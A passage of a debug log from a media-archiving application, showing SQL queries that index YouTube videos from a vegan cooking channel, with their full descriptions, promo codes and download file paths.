03:31:08Z], ~U[2026-03-22 03:31:08Z], "Here's a look at what I ate in a week as a gluten-free vegan! Easy meals that are nutritious and most importantly delicious 😉\n\nRECIPES/VIDEOS I MENTION IN THIS VIDEO: \nMy fave easy breakfasts: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\nMy go-to smoothies: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0healthy\u00A0smoothies\u00A0💚\u00A0Easy,\u00A0deli...\u00A0\u00A0\nButter chickpeas (vegan butter chicken): \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nBroccoli chickpea salad: \u00A0\u00A0\u00A0•\u00A0Eat\u00A0ya\u00A0broccoli!\u00A0🥦\u00A0or,\u00A0make\u00A0this\u00A0Broccoli\u00A0...\u00A0\u00A0\nNourish bowls: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0NOURISH\u00A0BOWLS\u00A0with\u00A0SPICY\u00A0COCONUT\u00A0RIC...\u00A0\u00A0\nStrawberry rhubarb pie: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n7-ingredient protein bars: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BARS\u00A0//\u00A07\u00A0ingredients,\u00A0vegan...\u00A0\u00A0\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Naomi - If Love is the Answer - https://thmatc.co/?l=4857545D\nMusic by Naomi - Our Story - https://thmatc.co/?l=E20B259D\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "What I eat in a week as a gluten-free vegan 🌱 Simple, delicious and nutritious meals", 1, nil, false, "8E3Vra03ZVY", "https://www.youtube.com/watch?v=8E3Vra03ZVY", "/downloads/downloads/alec/Steamy Vegan/2022-06-10 What I eat in a week as a gluten-free vegan 🌱 Simple, delicious and nutritious meals/What I eat in a week as a gluten-free vegan 🌱 Simple, delicious and nutritious meals [8E3Vra03ZVY].NA", false, ~U[2022-06-10 00:00:00Z]] 20:31:08.679 [debug] QUERY OK source="sources" db=0.5ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.681 [debug] QUERY OK source="media_items" db=1.9ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-06 00:00:00Z], 1] 20:31:08.683 [debug] QUERY OK source="media_items" db=1.5ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The iHarvest hydroponic indoor garden by \u202A@igworks01\u202C is now available around the world and we thought it would be a good time after 2 years of owning one to give you our honest review of it! 🌱We'll go through how this indoor hydroponic garden system works, talk about its benefits and reasons why maybe you shouldn't buy it, and compare it to the competition to help you make your buying decision.\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nIf you're interested in some of the recipes we make with our iHarvest, then don't forget to check out these delicious plant-based and gluten free recipes as well: ⬇️\n1. Our Smoothie Recipes: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0healthy\u00A0smoothies\u00A0💚\u00A0Easy,\u00A0deli...\u00A0\u00A0\n2. The Best Pesto Ever With Hydroponic Basil: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES!\u00A0Basil\u00A0Pesto\u00A0&\u00A0Qu...\u00A0\u00A0\n3. Plant-Based Nourish Bowl with Hydroponic Kale: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0NOURISH\u00A0BOWLS\u00A0with\u00A0SPICY\u00A0COCONUT\u00A0RIC...\u00A0\u00A0\n\nTime Stamps:\n0:00 - Intro\n1:35 - How the iHarvest Works\n2:22 - The Benefits of Owning an iHarvest\n6:37 - Reasons To Not Buy an iHarvest\n12:14 - Should You Buy an iHarvest\n12:37 - The Quality and Taste of Hydroponic Produce vs. Grocery Stores\n13:18 - How Easy is it To Use and Maintain an iHarvest\n14:39 - The Cost Savings of Hydroponic Gardening and the iHarvest\n15:47 - Is the iHarvest Better Than the Competition\n17:42 - Outro\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "iHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons, and How It Works (Hydroponic Gardening)", "6d313b99-7870-4c8c-a24c-9191c4cc312f", 1, [], false, "dkAJWc2mD1o", "https://www.youtube.com/watch?v=dkAJWc2mD1o", 364, "/downloads/downloads/alec/Steamy Vegan/2022-06-06 iHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons, and How It Works (Hydroponic Gardening)/iHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons, and How It Works (Hydroponic Gardening) [dkAJWc2mD1o].NA", false, false, false, 3, ~U[2022-06-06 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "The iHarvest hydroponic indoor garden by \u202A@igworks01\u202C is now available around the world and we thought it would be a good time after 2 years of owning one to give you our honest review of it! 🌱We'll go through how this indoor hydroponic garden system works, talk about its benefits and reasons why maybe you shouldn't buy it, and compare it to the competition to help you make your buying decision.\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nIf you're interested in some of the recipes we make with our iHarvest, then don't forget to check out these delicious plant-based and gluten free recipes as well: ⬇️\n1. Our Smoothie Recipes: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0healthy\u00A0smoothies\u00A0💚\u00A0Easy,\u00A0deli...\u00A0\u00A0\n2. The Best Pesto Ever With Hydroponic Basil: \u00A0\u00A0\u00A0•\u00A0EASY\u00A0VEGAN\u00A0LUNCH\u00A0RECIPES!\u00A0Basil\u00A0Pesto\u00A0&\u00A0Qu...\u00A0\u00A0\n3. Plant-Based Nourish Bowl with Hydroponic Kale: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0NOURISH\u00A0BOWLS\u00A0with\u00A0SPICY\u00A0COCONUT\u00A0RIC...\u00A0\u00A0\n\nTime Stamps:\n0:00 - Intro\n1:35 - How the iHarvest Works\n2:22 - The Benefits of Owning an iHarvest\n6:37 - Reasons To Not Buy an iHarvest\n12:14 - Should You Buy an iHarvest\n12:37 - The Quality and Taste of Hydroponic Produce vs. Grocery Stores\n13:18 - How Easy is it To Use and Maintain an iHarvest\n14:39 - The Cost Savings of Hydroponic Gardening and the iHarvest\n15:47 - Is the iHarvest Better Than the Competition\n17:42 - Outro\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "iHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons, and How It Works (Hydroponic Gardening)", 1, nil, false, "dkAJWc2mD1o", "https://www.youtube.com/watch?v=dkAJWc2mD1o", "/downloads/downloads/alec/Steamy Vegan/2022-06-06 iHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons, and How It Works (Hydroponic Gardening)/iHARVEST IN-DEPTH REVIEW: Our Honest Review, Pros and Cons, and How It Works (Hydroponic Gardening) [dkAJWc2mD1o].NA", false, ~U[2022-06-06 00:00:00Z]] 20:31:08.684 [debug] QUERY OK source="sources" db=0.7ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.686 [debug] QUERY OK source="media_items" db=2.0ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-01 00:00:00Z], 1] 20:31:08.689 [debug] QUERY OK source="media_items" db=1.3ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you how to make a Vegan Strawberry Rhubarb Pie! It's the perfect warm weather treat that's bursting with in-season fresh fruit and wrapped up in a tender, buttery and gluten-free pie crust.\n\nGrowing up, one of my great-aunts had her own pie and baked-goodies business. Her Strawberry Rhubarb Pie was by far her most adored by customers (and family!) and while mine may not ever live up to the amazing-ness of her pie’s legacy, I’m at least going to try and do her proud.\n\nCheck out my blog post for the full recipe + instructions! ⬇️\nLINK: https://steamyvegan.com/strawberry-rh...\n\nWant more fruity desserts? These other recipes might interest you!\nDark Chocolate Raspberry Scones: https://steamyvegan.com/dark-chocolat...\nApple Matcha Zucchini Muffins: https://steamyvegan.com/apple-matcha-...\nPomegranate Pecan Fudge: https://steamyvegan.com/pomegranate-p...\nFeeling like pie? Check out my Chocolate Avocado Cream Pie! https://steamyvegan.com/chocolate-avo...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "VEGAN STRAWBERRY RHUBARB PIE // How to make vegan strawberry rhubarb pie", "fe21a487-89c5-407e-99ef-53b9d8b5aec9", 1, [], false, "42Ra2CeeUM8", "https://www.youtube.com/watch?v=42Ra2CeeUM8", 365, "/downloads/downloads/alec/Steamy Vegan/2022-06-01 VEGAN STRAWBERRY RHUBARB PIE ⧸⧸ How to make vegan strawberry rhubarb pie/VEGAN STRAWBERRY RHUBARB PIE ⧸⧸ How to make vegan strawberry rhubarb pie [42Ra2CeeUM8].NA", false, false, false, 2, ~U[2022-06-01 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let me show you how to make a Vegan Strawberry Rhubarb Pie! It's the perfect warm weather treat that's bursting with in-season fresh fruit and wrapped up in a tender, buttery and gluten-free pie crust.\n\nGrowing up, one of my great-aunts had her own pie and baked-goodies business. Her Strawberry Rhubarb Pie was by far her most adored by customers (and family!) and while mine may not ever live up to the amazing-ness of her pie’s legacy, I’m at least going to try and do her proud.\n\nCheck out my blog post for the full recipe + instructions! ⬇️\nLINK: https://steamyvegan.com/strawberry-rh...\n\nWant more fruity desserts? These other recipes might interest you!\nDark Chocolate Raspberry Scones: https://steamyvegan.com/dark-chocolat...\nApple Matcha Zucchini Muffins: https://steamyvegan.com/apple-matcha-...\nPomegranate Pecan Fudge: https://steamyvegan.com/pomegranate-p...\nFeeling like pie? Check out my Chocolate Avocado Cream Pie! https://steamyvegan.com/chocolate-avo...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0", "VEGAN STRAWBERRY RHUBARB PIE // How to make vegan strawberry rhubarb pie", 1, nil, false, "42Ra2CeeUM8", "https://www.youtube.com/watch?v=42Ra2CeeUM8", "/downloads/downloads/alec/Steamy Vegan/2022-06-01 VEGAN STRAWBERRY RHUBARB PIE ⧸⧸ How to make vegan strawberry rhubarb pie/VEGAN STRAWBERRY RHUBARB PIE ⧸⧸ How to make vegan strawberry rhubarb pie [42Ra2CeeUM8].NA", false, ~U[2022-06-01 00:00:00Z]] 20:31:08.690 [debug] QUERY OK source="sources" db=0.8ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.692 [debug] QUERY OK source="media_items" db=1.9ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-26 00:00:00Z], 1] 20:31:08.696 [debug] QUERY OK source="media_items" db=3.9ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you some VEGAN FOOD HACKS that you need to know! I use these vegan food hacks ALL the time to reduce waste, save food, time and money!\n\nCheck out some of my other related videos! ⬇️\nWHAT DO GLUTEN-FREE VEGANS EAT? \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\nTOP 10 VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTHE BEST VEGAN HANGOVER FOODS: \u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Vegan\u00A0Hangover\u00A0Foods\u00A0\u00A0\nHOW I CONVINCED MY HUBBY TO GO VEGAN: \u00A0\u00A0\u00A0•\u00A0How\u00A0I\u00A0Convinced\u00A0My\u00A0Husband\u00A0to\u00A0Go\u00A0Vegan\u00A0\u00A0\n\nCHAPTERS:\n0:00 - Intro\n0:59 - How to Stop Herbs From Wilting\n2:27 - How to Propagate Store-bought Mint\n3:40 - Regrow Green Onions in Water\n4:27 - Easily Mix the Oil in Your Nut Butter\n5:12 - How to Make Your Tofu Taste Like Eggs\n6:42 - 3-Ingredient Vegan Whipped Cream\n7:43 - How to Keep Your Carrots Fresh For Weeks\n9:10 - Freeze Leftover Chipotle Peppers in Adobo\n10:04 - Make Veggie Scrap Broth (Free and delicious!)\n11:33 - Use Romaine Lettuce for Easy Wraps, Tacos and More\n12:45 - Frozen Fruits and Veggies are Your Friends!\n14:22 - Outro\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Chinsaku - Spirit Of The Wind - https://thmatc.co/?l=C85703CF\nMusic by Chinsaku - Next to you - https://thmatc.co/?l=F8AB819B\nMusic by Daniel Mahardika - Blurred Cages - https://thmatc.co/?l=45659BE2\nMusic by Mr. Chase - Amor - https://thmatc.co/?l=3E99A851\nMusic by Mark Generous - Kahlua With My Coffee - https://thmatc.co/?l=D33243C2", "VEGAN FOOD HACKS! Vegan hacks you need to know ✅", "8330e08f-3c98-45ff-ba6e-51a092dbaed3", 1, [], false, "Iv8GO56gMXk", "https://www.youtube.com/watch?v=Iv8GO56gMXk", 366, "/downloads/downloads/alec/Steamy Vegan/2022-05-26 VEGAN FOOD HACKS! Vegan hacks you need to know ✅/VEGAN FOOD HACKS! Vegan hacks you need to know ✅ [Iv8GO56gMXk].NA", false, false, false, 3, ~U[2022-05-26 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let me show you some VEGAN FOOD HACKS that you need to know! I use these vegan food hacks ALL the time to reduce waste, save food, time and money!\n\nCheck out some of my other related videos! ⬇️\nWHAT DO GLUTEN-FREE VEGANS EAT? \u00A0\u00A0\u00A0•\u00A0What\u00A0do\u00A0gluten-free\u00A0vegans\u00A0eat?\u00A0|\u00A013\u00A0delic...\u00A0\u00A0\nTOP 10 VEGAN PANTRY ESSENTIALS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANTRY\u00A0STAPLES\u00A0for\u00A0New\u00A0Vegans!\u00A0My\u00A0TO...\u00A0\u00A0\nTHE BEST VEGAN HANGOVER FOODS: \u00A0\u00A0\u00A0•\u00A0The\u00A0Best\u00A0Vegan\u00A0Hangover\u00A0Foods\u00A0\u00A0\nHOW I CONVINCED MY HUBBY TO GO VEGAN: \u00A0\u00A0\u00A0•\u00A0How\u00A0I\u00A0Convinced\u00A0My\u00A0Husband\u00A0to\u00A0Go\u00A0Vegan\u00A0\u00A0\n\nCHAPTERS:\n0:00 - Intro\n0:59 - How to Stop Herbs From Wilting\n2:27 - How to Propagate Store-bought Mint\n3:40 - Regrow Green Onions in Water\n4:27 - Easily Mix the Oil in Your Nut Butter\n5:12 - How to Make Your Tofu Taste Like Eggs\n6:42 - 3-Ingredient Vegan Whipped Cream\n7:43 - How to Keep Your Carrots Fresh For Weeks\n9:10 - Freeze Leftover Chipotle Peppers in Adobo\n10:04 - Make Veggie Scrap Broth (Free and delicious!)\n11:33 - Use Romaine Lettuce for Easy Wraps, Tacos and More\n12:45 - Frozen Fruits and Veggies are Your Friends!\n14:22 - Outro\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Chinsaku - Spirit Of The Wind - https://thmatc.co/?l=C85703CF\nMusic by Chinsaku - Next to you - https://thmatc.co/?l=F8AB819B\nMusic by Daniel Mahardika - Blurred Cages - https://thmatc.co/?l=45659BE2\nMusic by Mr. Chase - Amor - https://thmatc.co/?l=3E99A851\nMusic by Mark Generous - Kahlua With My Coffee - https://thmatc.co/?l=D33243C2", "VEGAN FOOD HACKS! Vegan hacks you need to know ✅", 1, nil, false, "Iv8GO56gMXk", "https://www.youtube.com/watch?v=Iv8GO56gMXk", "/downloads/downloads/alec/Steamy Vegan/2022-05-26 VEGAN FOOD HACKS! Vegan hacks you need to know ✅/VEGAN FOOD HACKS! Vegan hacks you need to know ✅ [Iv8GO56gMXk].NA", false, ~U[2022-05-26 00:00:00Z]] 20:31:08.697 [debug] QUERY OK source="sources" db=0.5ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.699 [debug] QUERY OK source="media_items" db=1.9ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-23 00:00:00Z], 1] 20:31:08.702 [debug] QUERY OK source="media_items" db=1.9ms idle=9.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Cacao Orange Granola is a total FLAVOUR BOMB and will be a game-changer in your easy breakfasts lineup! It's vegan and gluten-free and only uses 11 ingredients, and couldn't be simpler to throw together. \n\nLIKE THIS VIDEO + SAVE THIS RECIPE! ✔️ DON'T FORGET TO SUBSCRIBE!\n\nRECIPE ON MY BLOG ➡️ https://steamyvegan.com/cacao-orange-...\n\nThis cacao orange granola is just so dang yummy. Is there anything that chocolate doesn’t taste good with? When I’m in the mood for something crunchy I’ll just eat a handful of this stuff straight out of the jar, but I have been known to enjoy it over some coconut yogurt with fruit, or simply just eat it like cereal with some non dairy milk.\nHowever you like your granola, I’m positive you’re going to be a fan of this stuff.\n\n\nWant more delicious chocolatey treats? These other recipes might interest you!\n7-INGREDIENT PROTEIN BARS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BARS\u00A0//\u00A07\u00A0ingredients,\u00A0vegan...\u00A0\u00A0\nDARK CHOCOLATE FRUITY NUT CLUSTERS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: 